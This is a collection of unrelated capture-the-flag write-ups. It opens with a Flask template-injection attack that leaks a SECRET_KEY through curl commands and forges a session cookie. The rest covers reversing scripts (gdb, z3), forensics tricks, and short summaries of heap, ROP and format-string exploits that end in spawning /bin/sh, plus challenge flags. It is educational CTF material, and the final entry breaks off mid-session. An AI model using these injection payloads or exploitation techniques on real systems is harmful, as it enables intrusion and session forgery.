<input type="hidden" name="csrfmiddlewaretoken" value="<Config {'TRAP_BAD_REQUEST_ERRORS': None, 'SESSION_COOKIE_DOMAIN': False, 'TRAP_HTTP_EXCEPTIONS': False, 'SESSION_REFRESH_EACH_REQUEST': True, 'SERVER_NAME': None, 'PROPAGATE_EXCEPTIONS': None, 'DEBUG': False, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'JSONIFY_MIMETYPE': 'application/json', 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'SECRET_KEY': b'\xd2zX\xe6|S\x90\xc3xi\x88l\x18\xe6zP', 'ENV': 'production', 'JSON_AS_ASCII': True, 'MAX_CONTENT_LENGTH': None, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'USE_X_SENDFILE': False, 'SESSION_COOKIE_PATH': None, 'MAX_COOKIE_SIZE': 4093, 'APPLICATION_ROOT': '/', 'TEMPLATES_AUTO_RELOAD': None, 'PREFERRED_URL_SCHEME': 'http', 'SESSION_COOKIE_HTTPONLY': True, 'TESTING': False, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'SESSION_COOKIE_SECURE': False, 'JSON_SORT_KEYS': True, 'SESSION_COOKIE_NAME': 'session', 'EXPLAIN_TEMPLATE_LOADING': False, 'SESSION_COOKIE_SAMESITE': None}>" />
Look carefully, there is a 'SECRET_KEY' entry. Select it
$ curl 'https://flag_checker.tjctf.org/' --data "flag=&csrfmiddlewaretoken={{config['SECRET_KEY']}}"
<input type="hidden" name="csrfmiddlewaretoken" value="b'\x8eW^\xf6,\x10HW\xe1\xa9\x9f\xc8\xa7\xbd\x9ew'" />
And we retrieved the key
SECRET_KEY = '\xd2zX\xe6|S\x90\xc3xi\x88l\x18\xe6zP'
Now, if we do a curl -v, we can see a cookie..
$ curl -v 'https://flag_checker.tjctf.org/' --data "flag=&csrfmiddlewaretoken={{config['SECRET_KEY']}}" < set-cookie: session=eyJoYXNfZmxhZyI6ZmFsc2V9.XKnI9A.vNOsL9z4Zc1QwuRbeQjrxKd9UyA; HttpOnly; Path=/
With the secret_key, we are able to decode and re-encode the session cookie:
References:- https://stackoverflow.com/a/27287455- https://stackoverflow.com/questions/22463939/demystify-flask-app-secret-key?lq=1- https://terryvogelsang.tech/MITRECTF2018-my-flask-app/
---
Using this [Github Gist by @aescalana](https://gist.github.com/aescalana/7e0bc39b95baa334074707f73bc64bfe)
Decode the cookie using this code
secret = '\xd2zX\xe6|S\x90\xc3xi\x88l\x18\xe6zP' cookie = "eyJoYXNfZmxhZyI6ZmFsc2V9.XKnI9A.vNOsL9z4Zc1QwuRbeQjrxKd9UyA" session = decodeFlaskCookie(secret, cookie) print 'Decoded original cookie:', session
This prints the following
$ python cookie_decode.py Decoded original cookie: {u'has_flag': False}
Now, we modify the session cookie to get the flag using this code
session['has_flag'] = True cookie = encodeFlaskCookie(secret, session) print 'Decoded new cookie:', decodeFlaskCookie(secret, cookie) print 'New cookie:', cookie
This prints our modified cookie
$ python cookie_decode.py Decoded original cookie: {u'has_flag': False} Decoded new cookie: {u'has_flag': True} New cookie: eyJoYXNfZmxhZyI6dHJ1ZX0.XKnKvg.kr7eaxh9wJayZLy-txEPm148bw0
Pass the cookie to the server and we get the flag!
$ curl -v 'https://flag_checker.tjctf.org/' --data "flag=a" --cookie "session=eyJoYXNfZmxhZyI6dHJ1ZX0.XKnKMQ.PkbXcTzvyG3A-L6DFIm3nVDfatM" How did you guess that it was tjctf{t3mpl4te_inj3ct10n_is_f4k3_n3w5}?
How did you guess that it was tjctf{t3mpl4te_inj3ct10n_is_f4k3_n3w5}?
## Flag
tjctf{t3mpl4te_inj3ct10n_is_f4k3_n3w5}
Other related references:
- https://ctftime.org/writeup/11014- https://medium.com/bugbountywriteup/tokyowesterns-ctf-4th-2018-writeup-part-3-1c8510dfad3f- https://github.com/bl4de/ctf/blob/master/2017/ASIS_CTF_2017/Golem/Golem_Web_writeup.md- https://stackoverflow.com/questions/2877110/python-new-style-classes-and-subclasses-function- https://github.com/EmpireCTF/empirectf/blob/master/writeups/2018-09-01-TokyoWesterners-CTF/README.md- https://hexplo.it/post/escaping-the-csawctf-python-sandbox/ |
watch youtube video from the description and at time line 1:08 flag is on screen https://www.youtube.com/watch?v=r21AA6-s2Fk&feature=youtu.be
flag:
`TG19{join_us_at_tghack.no}` |
# The Mueller Report
We're given a 138.8 MB PDF file. However, it doesn't seem to contain any pages.
Perhaps there's something contained within the actual file itself, not the pages. Let's try running `strings` and `grep` to see if anything in there resembles the flag.
```$ strings full-mueller-report.pdf | grep "actf{.*}"```
`strings` extracts all strings out of there, filtering out binary nonsense and sequences without any sort of corresponding or printable characters. `grep` performs a regular expression operation. Our expression wants anythng that starts with `actf{`, can have anything afterwards, so as long as it ends with a `}`. The pipe redirects the output from `strings` directly into `grep`.
 |
# Archimedes
CTF reveals its secrets only to those who approach it with pure love, for its own beauty. The challenges provides a 64bit Linux binary that can encrypt files in a non-deterministic way and a encrypted flag files meant to be decrypted.
## Solution
The challenge uses a random value seeded with the current system time to determine the encryption values which are then xored with the data meant to be encrypted.As the generation of the encryption keys is independent of the file input and also limited to 65535 different sets, making a table out of all of them andtrying to filter which can be decrypted to printable characters was my approach.
This gdb script does that by modifying the random value to a fixed value, letting the binary calculate the values and then saving them to a file:```pythongdb.execute("set pagination off")gdb.execute("set confirm off")
version = 0 # 0 - 15 (split so running multiple instances parallel is possible)
# create a dummy file to encryptdummyFile = open("test%d.txt" % version, "w")dummyFile.write("D"*0x2F)dummyFile.close()
# some initial code to set the breakpoints in a position independent environmentgdb.execute("b *rand") # break at randgdb.execute("run") # run until randgdb.execute("finish") # continue until the function endsgdb.execute("delete") # delete all breakpoints
gdb.execute("b") # set a breakpoint after the random value to modify it [0000000000002DCF]ip = int(gdb.parse_and_eval("$rip"))gdb.execute("b *0x%X" % (ip + 0x73a)) # read rdx from here to get value for the key [0000000000003509]
for index in range(max(1,0x1000*version), 0x1000*(version+1))): # skip 0 as it crashes the binary gdb.execute("set logging redirect off") print("%04X" % index) gdb.execute("set logging redirect on") gdb.execute("run test%d.txt" % version) # start the process
# modify random
gdb.execute("set $rax = "+hex(index)) gdb.execute("continue")
solMap = []
for i in range(0x2F): solMap.append(int(gdb.parse_and_eval("$rdx"))&0xFF) gdb.execute("continue") f = open("./rnums/entry_%04X.txt" % (index),"w") f.write(str(solMap)) f.close()```
To speed up the process I then zipped the resulting files and ran them through a script to find the printable ones:```pythonimport stringimport zipfile
map = {}
# read the lists from a zip archivearchive = zipfile.ZipFile('rnums.zip', 'r')
encryptedData = []with open("flag.enc", "rb") as flag: # read the flag encryptedData = [ord(c) for c in flag.read()]
# limit the amount of entries to parseUPPERBORDER = 0x1000
# evaluate the lists from the archive and map them to their indexfor i in range(1,UPPERBORDER): try: map[i] = eval(archive.read('entry_%04X.txt' % i)) except: passarchive.close()
print("Parsed..")
# try the encryption key lists on the flagfor i in range(1,UPPERBORDER): if not i in map: continue d = [chr(map[i][j]^encryptedData[j]^0x8F^j) for j in range(len(encryptedData))] # same code as in the binary, as it only uses xor it's symmetrical if(all([c in string.printable for c in d])): # print everything with the index that doesn't contain not-printable character print ("[%04X]: "%i)+''.join(d)print("Done..")```
Running it reveals that the encryption set was already the second one`[0002]: ASIS{U5in9_Pi_1n_Rev3rs1ng_w4s_e4sy_3n0u9h!!?}`.
# Medias
Numbers, how clever and intelligent these numbers are!! Medias is a 64bit Linux binary that requests a number parameter to be supplied to decrypt the flag out of the entered numbers sha1 hash.
## Solution
While reversing the first stages of the input verification code the function at `0000289d` sticks out as it's pretty linear and depending on its output the binary either proceeds or stops.
Looking further into it it shows that it checks the input for some constraints, separates it in three pieces with the same size and runs further compares on them.Putting them into z3 looks like this:
```pythonfrom z3 import *
s = Solver()
variableSizeFactor = 8 # adjusting number to multiply with 3 until no found
arg1Size = 3*variableSizeFactor arg1SizeM = (arg1Size/3)
argv1 = IntVector("argv1", arg1Size) # an array holding all of the digitsval = Int("val") # the value of the digits interpreted as a single number
row1 = Int("row1") # the first thirdrow2 = Int("row2") # the second thirdrow3 = Int("row3") # the last third
s.add(arg1Size%3 == 0) # check if the length is matching the constraints
for i in range(arg1Size): # verify that the digit array only contains single digits s.add(argv1[i] >= 0) s.add(argv1[i] < 10) # Set the digits together to form the integer valuess.add(val == Sum([argv1[index]*(10**(arg1Size-1-index)) for index in range(arg1Size)]))s.add(row1 == Sum([argv1[index]*(10**(arg1SizeM-1-index)) for index in range(arg1SizeM)]))s.add(row2 == Sum([argv1[index+arg1Size/3]*(10**(arg1SizeM-1-index)) for index in range(arg1SizeM)]))s.add(row3 == Sum([argv1[index+arg1Size/3*2]*(10**(arg1SizeM-1-index)) for index in range(arg1SizeM)]))
# these contrains are checked on the three partsfor i in range(1,arg1SizeM-1): s.add(argv1[i-1] != 0) s.add(2*argv1[i] - argv1[i-1] < argv1[i+1]) s.add(argv1[(i-1)+arg1Size/3] != 0) s.add(2*argv1[i+arg1Size/3] - argv1[(i-1)+arg1Size/3] < argv1[(i+1)+arg1Size/3]) s.add(argv1[(i-1)+arg1Size/3*2] != 0) s.add(2*argv1[i+arg1Size/3*2] - argv1[(i-1)+arg1Size/3*2] < argv1[(i+1)+arg1Size/3*2])
# the last check done on the numberss.add(10**6 + row1 <= 10**5 + row2)s.add(10**5 + row2 <= 10**4 + row3)
while s.check(): m = s.model() print(m[val].as_long()) # try out last found number s.add(val > m[val].as_long()) # find all numbers until no are left```
After entering one of the resulting numbers the binary requests the largest one:```./medias 742112478421124785322358- please find the largest such number!```
Entering the largest of them passes the md5 check and reveals the flag:```./medias 942112599532235996433469******** Well done ******** _R3V__B1n4rY_tR3E!!_```
# Mind Space
Free your mind to have some space to enjoy the Spring! Mind Space provides a 64bit Linux binary that can encrypts "flag.txt" files of a specific format and a encrypted flag file meant to be decoded.
## Solution
I first reimplemented the C++ logic in python to get a better gasp of it:
```pythonimport math
def doubleToStringFancy(dValue): # 00000000000024B8 intValue = 2 * int(math.floor(round(100000.0 * dValue))) if dValue < 0.0: intValue = ~intValue res = "" continueExec = True while continueExec: continueExec = (intValue >> 5) > 0 v4 = intValue&0x1F if continueExec: v4 |= 0x20 res = res + chr(v4+0x3F) intValue = intValue >> 5 return res def transformValues(pva): # 000000000000257A lastValue = 0.0 lastValue2 = 0.0 mainString = "" for pv in pva: mainString = mainString + doubleToStringFancy(pv[0] - lastValue) mainString = mainString + doubleToStringFancy(pv[1] - lastValue2) lastValue = pv[0] lastValue2 = pv[1] return mainString def parseLine(content, index=1): # 0000000000002B35 findComma = content.index(", ") tillComma = content[0:findComma] content = content[findComma+2:] upperValue = float(content) - 80.0 - index lowerValue = index + float(tillComma) - 80.0 if lowerValue > 90.0 or lowerValue < -90.0: print(tillComma) print("LOWER VALUE OUT OF RANGE") return None if upperValue > 180.0 or upperValue < -180.0: print(content) print("UPPER VALUE OUT OF RANGE") return None return (lowerValue, upperValue) print(parseLine("1.78, 2.5"))# (-77.22, -78.5)print(parseLine("1.12321321, 2.5", index=2))# (-76.87678679, -79.5)print(transformValues([parseLine("1.78, 2.5"), parseLine("1.12321321, 2.5", index=2), parseLine("98.7654321, 133.7420", index=3)]).encode("hex"))# 7e5f69764d7e5f637e4d616062417e6862457b606179516f7b7c7957```
Trying out some values reveals they match up with the results from the binary (the floating point upper and lower values can be read at 0000000000002C4A in xmm0 and xmm1).Noticeable here is that after the encoded bytes some additional junk bytes appear ("FB 55 0A"), the original flag.enc file also contains one junk byte "0A" which needs to be removed or ignored.
The reversed code showed that the input for the encryption needs to be in a "floating-point-number, floating-point-number" format so the task will be to recover those numbers from the provided encrypted flag file.
To do that I wrote functions to reverse the encoding code and to recover the original format:
```python...
def fancyToDouble(res): # revert the byte array to the floating point number that created it intValue = 0 index = 0 continueExec = True cList = [] while continueExec: # just a reverse implementation of the original cur = ord(res[index])-0x3F if cur&0x20 == 0: continueExec = False else: cur = cur ^ 0x20 cList.append(cur) index += 1 cList.reverse() for e in cList: intValue |= e intValue = intValue << 5 intValue = intValue >> 5 # return multiple values as the rounding and negating part cause multiple possible inputs return ([float(intValue / 2) / 100000.0, (float(intValue / 2) + 1) / 100000.0, (float(intValue / 2) - 1) / 100000.0, float((~intValue) / 2) / 100000.0, (float((~intValue) / 2) + 1) / 100000.0, (float((~intValue) / 2) - 1) / 100000.0], index)
def untransformValues(str): lastValue = 0.0 lastValue2 = 0.0 bigIndex = 0 bL = [] while len(str) > 0: res, index = fancyToDouble(str) # decode the possible values and amount of characters parsed part = str[:index] # extract the first part str = str[index:] # remove the first part from the string res2, index = fancyToDouble(str) # decode the possible values and amount of characters parsed part2 = str[:index] # extract the second part as it's partly independent of the first str = str[index:] # remove the second part from the string bigIndex += 1 # increase the index needed for decoding for r in res+[]: # filter the ones out that don't encode to the same byte array if(doubleToStringFancy(r) != part): res.remove(r) res = [r+lastValue for r in res] # reconstruct to the original state for r in res2+[]: # filter the ones out that don't encode to the same byte array if(doubleToStringFancy(r) != part2): res2.remove(r) res2 = [r+lastValue2 for r in res2] # reconstruct to the original state if len(res) > 1 or len(res) == 0: # exit if multiple results or possible or non was found print("Error with line 1") print(res) return bL if len(res2) > 1 or len(res2) == 0: # exit if multiple results or possible or non was found print("Error with line 2") print(res2) return bL lastValue = res[0] lastValue2 = res2[0] bL.append(((res[0] + 80.0 - bigIndex),(bigIndex + (res2[0]) + 80.0))) # append the decoded values to the array return bL
def unparse(st): l = untransformValues(st) # turn the encrypted content back into res = "" for p in l: res = res + ("%0.5f, %0.5f\n" % (p[0],p[1])) # put the reconstructed values in the correct format res = res[:-1] print res # print the reconstructed file # parse all the reconstructed lines to verify the result is correct i=1 cL = [] for line in res.split("\n"): cL.append(parseLine(line, index=i)) i += 1 # verify the original and the result of the reconstructed values are the same, needs to be adjusted for custom input return (transformValues(cL).encode("hex") == st.encode("hex")) flagFile = open("flag.txt.enc", "rb")flag = flagFile.read()[:-1] # cut off the last byte "0A" as it's junk dataflagFile.close()
print(unparse(flag))```
Which outputs```95.18000, 85.1500049.12000, 83.0200057.11000, 95.2700095.06000, 95.35000105.37000, 63.4100078.25000, 108.2100049.24000, 79.1000076.23000, 89.22000125.44000, 77.3100095.30000, 112.33000123.05000, 95.1400095.07000, 55.4000083.04000, 101.1700048.20000, 33.4300071.08000, 52.3200053.16000, 51.1300078.29000, 104.3900073.03000, 51.2600033.42000, 65.0100048.09000, 80.1900057.38000, 105.2800082.36000, 53.34000True```
A quick look at the numbers and it becomes visible that the numbers before the dots are the ASCII characters and the numbers behind them are the position they should be at.A small sorting script reveals the flag:```pythonl = [95.18, 85.15, 49.12, 83.02, 57.11, 95.27, 95.06, 95.35, 105.37, 63.41, 78.25, 108.21, 49.24, 79.1, 76.23, 89.22, 125.44, 77.31, 95.3, 112.33, 123.05, 95.14, 95.07, 55.4, 83.04, 101.17, 48.2, 33.43, 71.08, 52.32, 53.16, 51.13, 78.29, 104.39, 73.03, 51.26, 33.42, 65.01, 48.09, 80.19, 57.38, 105.28, 82.36, 53.34]indexed = [str(e).split(".") for e in l]indexed.sort(key=lambda x: x[1])print(''.join([chr(int(ind[0])) for ind in indexed]))# ASIS{__G0O913_U5e_P0lYL1N3_iN_M4p5_Ri9h7?!!}```
# Silk road I and III ID/Token
Z3 Python Scripts and working numbers for solving the constraints part of Silk road I and Silk road III are in this folder as well. |
The binary has a FSB vulnerability.We can overwrite the GOT address for `puts` and call the `flag` function.
[writeup](https://ptr-yudai.hatenablog.com/entry/2019/04/25/141422#Binary-120pts-Purchases) |
### Streams>>>70 pointsWhite noise is useful whether you are trying to sleep, relaxing, or concentrating on writing papers. Find some natural white noise [here](https://streams.2019.chall.actf.co/).
Note: The flag is all lowercase and follows the standard format (e.g. actf{example_flag})
Author: ctfhaxor>>>
1. https://streams.2019.chall.actf.co/ contains some images and a video stream2. Initially tried `youtube-dl` and other stream downloaders with no luck2. view source > download mp4 file3. `file stream.mp4` reveals it is a xml MPD document4. MPD contains data about MPEG DASH streams -- namely mpeg **streams** [^1]5. There seem to be a total of three streams as seen on line 38 `<AdaptationSet id="2"`:
`id=0` video `id=1` audio `id=2` audio6. By using devtools > network we can see that init streams and chunks of both stream 0 and stream 1 are being downloaded:7. I simply followed the URI of these and replaced the names with `stream2` e.g. https://streams.2019.chall.actf.co/video/chunk-stream2-00001.m4s and https://streams.2019.chall.actf.co/video/init-stream2.m4s
8. All 9 stream2 chunks and 1 init stream were downloaded (all `.m4s` files)9. Use this nifty one liner[^2] to piece these chunks together
```bash cat init-stream2.m4s *.m4s > stream2.wav ```10. This is morse code :zap:11. After trying a few online audio decoders for morse code I gave up and did it by hand. I used audiacity to find the waveform and figure out the dashes and dots. Plugged it into an [online decoder](https://morsecode.scphillips.com/labs/decoder/)
12. flag :triangular_flag_on_post:
``` actf{f145h_is_d34d_l0n9_l1v3_mp39_d45h} ``` |
# Blank Paper
We're given what is supposed to be a PDF document, but can't be opened as it is missing its magic number, or signature, which denotes that it is indeed a PDF file. This is evident when we open up the file in a hex editor such as Bless.
The first four bytes are missing. PDF files have a signature of `25 50 44 46 2d`.
You can see a list of file signatures here: [Wikipedia](https://en.wikipedia.org/wiki/List_of_file_signatures)
To fix this, we can simply just add the signature.
 |
## Bad JS (Web 100)
“There is a bad JS which hides flag inside. Capture it.”
First thing is to download and extract the 7-zip archive into the directory of your choosing. Once extracted, open up index.html (I am using Chrome). We are greeted with a simple flag check application.
No matter what I entered, the result was the same (A popup with the word "wrong"). So let's take a quick look at the source code.
We now know why we always get the same alert, no matter what we enter. The form input is not actually checked against anything. The next logical place to look would be the javascript source file JS.js.
Really ugly ofuscated javacsript:
The entire file seems to be stripped of symbols. After a quick and painful look through, I had no leads on how to deal with it, but I had a feeling the solution was a little easier than reversing stripped javascript. That is when I noticed the first line of the file, var_0x1b00. The odd thing was, that every bytes string in the array ended in \x3d (which I knew was hex for ‘=’). That may mean that the byte strings were base64 encoded, then hex encoded, so all we would have to do is decode them.
Here we can see that is is the case. That the strings are base64 encoded.
So I wrote a python script that takes the byte array and converts each string in it into plain text. I wrote these plain text values to a file for reading.
The results were just as I hoped for. It seemed that the byte strings were one of two things. 1.) A missing symbol from the javascript source. 2.) Random strings of 5 characters
Output File:
Now we know that the flag is the MD5 hash of 127.0.0.1. Plenty of websites can find this hash in a jiffy, but I opted for bash.
The -n flag is needed, otherwise md5 will think the \n is part of the string. That hash (without spaces and - at the end) wrapped inside UUTCTF{} is the flag. I was happy I thought to decode those strings early on, or I may still be looking at that stripped JS code at this moment. This is my first writeup I tried to format for this site, so I hope it does not look like complete trash formatting wise.
[PDF Version](https://github.com/frank-cerny/CTFs/blob/master/UUTCTF/Web/BadJS_100.pdf) |
# The Puzzle
## Task
[ThePuzzle.exe](./src/ThePuzzle.exe)
## Solution
I tried to run the binary first. And here what I saw:
Alright, I need to sort the numbers. I didn't wanna solve this so I fed the binary to ILSpy to watch the sources. I looked for a function which processes the button click. Here it is:
```C#private void Button1_Click(object sender, EventArgs e) { bool flag = true; for (int i = 0; i < 8; i++) { bool flag2 = this.pbMatrix[i / 3, i % 3].Name != "pictureBox" + (i + 1); if (flag2) { flag = false; } } bool flag3 = flag; if (flag3) { bool flag4 = this.first; if (flag4) { MessageBox.Show("Continue :)"); for (int j = 0; j < 9; j++) { this.pbMatrix[j / 3, j % 3] = null; } this.pictureBox1.Image = Resources.image_part_001; this.pictureBox2.Image = Resources.image_part_002; this.pictureBox3.Image = Resources.image_part_003; this.pictureBox4.Image = Resources.image_part_004; this.pictureBox5.Image = Resources.image_part_005; this.pictureBox6.Image = Resources.image_part_006; this.pictureBox7.Image = Resources.image_part_007; this.pictureBox8.Image = Resources.image_part_008; this.Shuffle(); this.label1.Text = "Sort again and then press Check button!"; this.first = false; } else { this.pbMatrix[2, 2].Image = Resources.image_part_009; this.pbMatrix[2, 2].Size = new Size(100, 100); this.pbMatrix[2, 2].SizeMode = PictureBoxSizeMode.StretchImage; base.Controls.Add(this.pbMatrix[2, 2]); } } else { MessageBox.Show("Try Again!"); } }```
Seems like flag is being combined from 9 images. Those images are in the Resources, so I went to look at them.There are QR code splited into 9 parts:
So I extracted all parts and combined them to get full QR.
Scanning the code gives us flag(almost).
The flag is: `UUTCTF{9ad589e4c948c9ecd46bf2c55c3049b5}` |
There is a `format string` vulnerability that allows you to leak libc addresses and overwrite `GOT` entry in order to execute `/bin/sh`. Using `libc database` is required: https://github.com/niklasb/libc-database |
There is a `stack overflow` vulnerability in this challenge, by which you can leak `read@GOT`, find `glibc` base address, and jump to `execve` found by `one gadget` using `return oriented programming (ROP)` technique.
`return-to-csu: A New Method to Bypass 64-bit Linux ASLR` BlackHat talk is a must-read (https://www.blackhat.com/docs/asia-18/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR.pdf). |
In `SECCON 2018 - profile` challenge, there is a `buffer overflow` vulnerability which leads to overwriting the `return` address. In this challenge, we need to have a good understanding of `string` class's internal memory layout. Using this vulnerability, we can overwrite a string's internal pointer which gives us an `arbitrary read`. We first leak the `canary` value, then leak `read@GOT` address to find `libc` base address, and finally overwrite the return address with `one gadget` to execute `/bin/sh`. This is an interesting `C++` challenge to learn bypassing protections like `NX`, `Canary`, `Partial RELRO`, and `ASLR` in `x86_64` binaries. |
In `HITCON 2018 - Children Tcache` challenge, there is an `off-by-one` (`poison-null-byte`) vulnerability which leads to `double free` and `overlapping chunks`. Using this, we leak a `libc` address to de-randomize `ASLR`, launch `tcache dup` attack, and then put our `fake chunk` address into the `tcache` using `tcache poisoning` attack. As a result, we can force `malloc` to return our `fake chunk` before `__malloc_hook`, so we can overwrite `__malloc_hook` with `one gadget`. This is an interesting `heap exploitation` challenge to learn bypassing protections like `NX`, `PIE`, `Canary`, `Full RELRO`, and `ASLR` in `x86_64` binaries in presence of `tcache`. |
In `SECCON 2018 - classic` challenge, there is a `stack overflow` vulnerability which leads to overwriting the `return` address. Using `return oriented programming (ROP)`, we first leak `puts@GOT` address to find `libc` base address, write another `ROP` payload into `.bss` by calling `gets@GOT`, and move the control to the payload in `.bss` using `stack pivoting` which jumps to `one gadget` to execute `/bin/sh`. This is an interesting `ROP` challenge to learn bypassing protections like `NX`, `Partial RELRO`, and `ASLR` in `x86_64` binaries. |
# Space saver
## The ProblemWe get a simple dd file which is essentially an image container, uncompressed. Examining with binwalk reveals there are 4 images (PNG) as well as one rar file. I tried extracting but it would throw an error so I manually extracted directly from the hex dump into 4 new files. 3 of the images are those of a lock, 1 is something that looks like the solution but with no flag.
The rar itself is proteccted. Running john and rockyou on it for 30min didn't yield anything so it was safe to assume the password was somewhere in the files. Unfortunately, time ran out by that point and I coulnd't complete the challenge.
## The SolvingIt turns out that looking again at the original dump, there is something written after the ```IEND``` marker of the locks images. The 3 strings are ```Spac```, ```3ei2``` and ```herE```. Concatening those forms the password that ultimately unlocks the rar and reveals the flag image. |
In `Hack.lu 2018 - BabyPHP` challenge, there is an `unsanitized user input` vulnerability which results in `unintended behaviors` as well as `code injection`. First, we can provide a `data:` URL to `file_get_contents` to return the required value. Then, we should pass `Array` in the parameter, so we force `substr` and `sha1` return `null`. Also, we can override the values of arbitrary variables using `$$` in `PHP`. Finally, we can run arbitrary code by passing arbitrary `$bb` value into `assert` in order to print `$flag`. This is an interesting `web` challenge to learn how to attack `PHP` applications. |
using the file command we see the file is a fat12 disk img, using testdisk we retrieve the deleted the files and restore them, the flag is on the restored png file
> treasures/doughloaf.png
flag:
`TG19{very_dough_much_loaf}` |
In `CSAW Quals 2018 - alien_invasion` challenge, there is an `off-by-one (poison-null-byte)` vulnerability that allows us to create `overlapping chunks` situation. Basically, we can leak `heap` base address as well as de-randomize `PIE` by manipulating heap chunks and find `libc` base address by leaking `strtoul@GOT`, and finally overwrite `strtoul@GOT` with `system` in order to execute `/bin/sh`. This is an interesting `heap exploitation` challenge to learn bypassing protections like `NX`, `Canary`, `PIE`, and `ASLR` in `x86_64` binaries. |
In `InCTF 2018 - securepad` challenge, there is an `uninitialized stack variable` vulnerability which leads to `arbitrary free` vulnerability that eventually allows us to launch `unsorted_bin_attack` and `fastbin_dup_attack`. Firstly, we leak a `heap` address and using the `arbitrary free` we get from `uninitialized stack variable` vulnerability, we leak a `main arena` address so we can find `libc` base address. Then, we create a fake chunk before `__free_hook` using `unsorted_bin_attack` and using `fastbin_dup_attack`, we allocate the fake chunk to overwrite `__free_hook` with `system`. This is an interesting `heap exploitation` challenge to learn bypassing protections like `NX`, `Canary`, `Full RELRO`, `PIE`, and `ASLR` in `x86_64` binaries. |
The task is basically about Insecure Direct Object Reference meaning .. accessing a resource that you are not supposed too :)
https://youtu.be/z4KnpUCuSk0 |
In `WhiteHat Grand Prix 2018 Quals - pwn02 (BookStore)` challenge, there is a `null byte poisoning` aka `off-by-one overflow` aka `null byte overflow` vulnerability. Using this vulnerability, we can create the `overlapping chunks` situation (by zeroing out PREV_INUSE bit), which enables us to leak libc addresses and overwrite a sensitive function pointer with `system` address (spawn `/bin/sh`).
This is a good example of `Heap Exploitation` challenge to understand how to exploit `x86_64` binaries with `Canary`, `Full RELRO`, `FORTIFY`, `NX`, and `ASLR` enabled in presence of `tcache` in `glibc-2.27`. |
# One Bite
We're given a program that prompts us for the flag. Let's run `ltrace` on it to see what kind of comparisons it might be making.
It looks like it encodes our input one byte at a time, and then compares it to some sort of a string. As you can see, the beginning of the flag seemed to be encoded just fine, so it looks like these one-byte conversions are independent of other conversions. Let's see if these conversions are reversible by entering in some testing strings.
The mechanism that encodes our input byte-by-byte does seem to be reversible, meaning that a given input's output, when used as an input, will produce the output's input. Using this, let's go ahead and try to pass the string it makes a comparison to in order to see what the reverse of it is, which should logically be the flag.
 |
In `0CTF Final 2018 - freenote2018` challenge, there is a `double free` vulnerability that allows us to launch `fastbin dup` attack. Using this attack, we can create `overlapping chunks`, manipulate `heap metadata`, and finally overwrite `__malloc_hook` with `one gadget` address to execute `/bin/sh`. This challenge is very interesting because in contrast to most challenges, we `cannot` leak any addresses (e.g., `libc`, `heap`) to de-randomize `ASLR`. Instead, we have the ability to partially overwrite memory, so with some brute force (because the `12 least significant bits` are fixed), we can easily overwrite `__malloc_hook` with the right address. This is an interesting `heap exploitation` challenge to learn bypassing protections like `NX`, `Canary`, `PIE`, `Full RELRO`, and `ASLR` in `x86_64` binaries. |
In `PlaidCTF 2018 - shop` challenge, there is a `buffer overflow` vulnerability that allows us to leak `heap` and `libc` base addresses. Finally, we can overwrite `put@GOT` with `one gadget` in order to execute `/bin/sh`. This is an interesting `heap exploitation` challenge to learn bypassing protections like `NX`, `Canary`, and `ASLR` in `x86_64` binaries. |
Another simple bash loop to solve this one, first decomplied the pyc using decompily6 and then run a quick loop to find WPI
> for i in {1..100}; do ./jocipher.pyc --decode --string PIY{zsxh-sqrvufwh-nfgl} --shift $i | grep WPI; done
```WPI{mdzj-deycogrj-bgha}WPI{vsbh-seymofrh-xfgl}WPI{zaxg-aeyvodrg-ndfk}WPI{blnf-leyzosrf-csdj}WPI{xkcd-keyboard-mash}WPI{njms-jeyxolrs-vlag}WPI{chva-heynokra-zklf}WPI{mgzl-geycojrl-bjkd}```
Not long after that the flag jumped out at me in the results
`WPI{xkcd-keyboard-mash}` |
In `AsisCTF Quals 2018 - Just Sort!` challenge, there is a `heap overflow` vulnerability that we can leak `free@GOT` address, and find `libc` base address as the result. Then, we can overwrite `free@GOT` by `one_gadget`'s address to get shell. This is a good challenge to understand how to exploit `x86_64` binaries with `Canary`, `NX`, and `ASLR` enabled. |
In this challenge, we are showing how we can leak libc base address and overwrite `__malloc_hook` using `null byte poisoning` aka `off-by-one overflow` aka `null byte overflow` vulnerability. Basically, by clearing `PREV_IN_USE` bit in a chunk, we can cause two chunks consolidate and the chunk between them being forgotten.
This is a good challenge for understanding how to exploit `x86_64` binaries with `Full RELRO`, `Canary`, `NX`, `PIE`, and `ASLR` enabled. |
The binary is a simple HTTP server.It has a buffer overflow vulnerability when getting the URL.By causing an error during `sys_write` we can call an arbitrary system call with `rdi` under our control.Thus, we can run a command by calling `sys_execve` with the arguments(`rsi`) set properly.
[writeup](https://ptr-yudai.hatenablog.com/entry/2019/04/25/141422#Binary-180pts-Server) |
In `AsisCTF Quals 2018 - Message Me!` challenge, we leak `libc` base address using a `Use After Free (UAF)` vulnerability. Using the same `Use After Free (UAF)` vulnerability, we overwrite `__malloc_hook` by `overlapping fastbin chunks`. Finally, we trigger `__malloc_hook` using a `Double Free` vulnerability on `fastbins`. This is a good example of `Heap Exploitation` challenge to understand how to hijack control flow in `x86_64` binaries with `Canary`, `NX`, and `ASLR` enabled. |
`cat` is a good challenge to understand how `glibc heap` handles `fast bins`. You can populate the content of fast bins to influence the program data flow if the developers do not initialize the memory (allocated via `malloc`) correctly. |
After a bit of trying to exec code we found out that print() still worked if the command was short enough.Using print(vars()) we finally got the flag.
```root@kali:~/ctf# nc canyouguessme.pwni.ng 12349
____ __ __ ____ __ __ / ___|__ _ _ _\ \ / /__ _ _ / ___|_ _ ___ ___ ___| \/ | ___ | | / _` | '_ \ V / _ \| | | | | _| | | |/ _ \/ __/ __| |\/| |/ _ \ | |__| (_| | | | | | (_) | |_| | |_| | |_| | __/\__ \__ \ | | | __/ \____\__,_|_| |_|_|\___/ \__,_|\____|\__,_|\___||___/___/_| |_|\___|
Input value: print("1")1Nope. Better luck next time.root@kali:~/ctf# nc canyouguessme.pwni.ng 12349
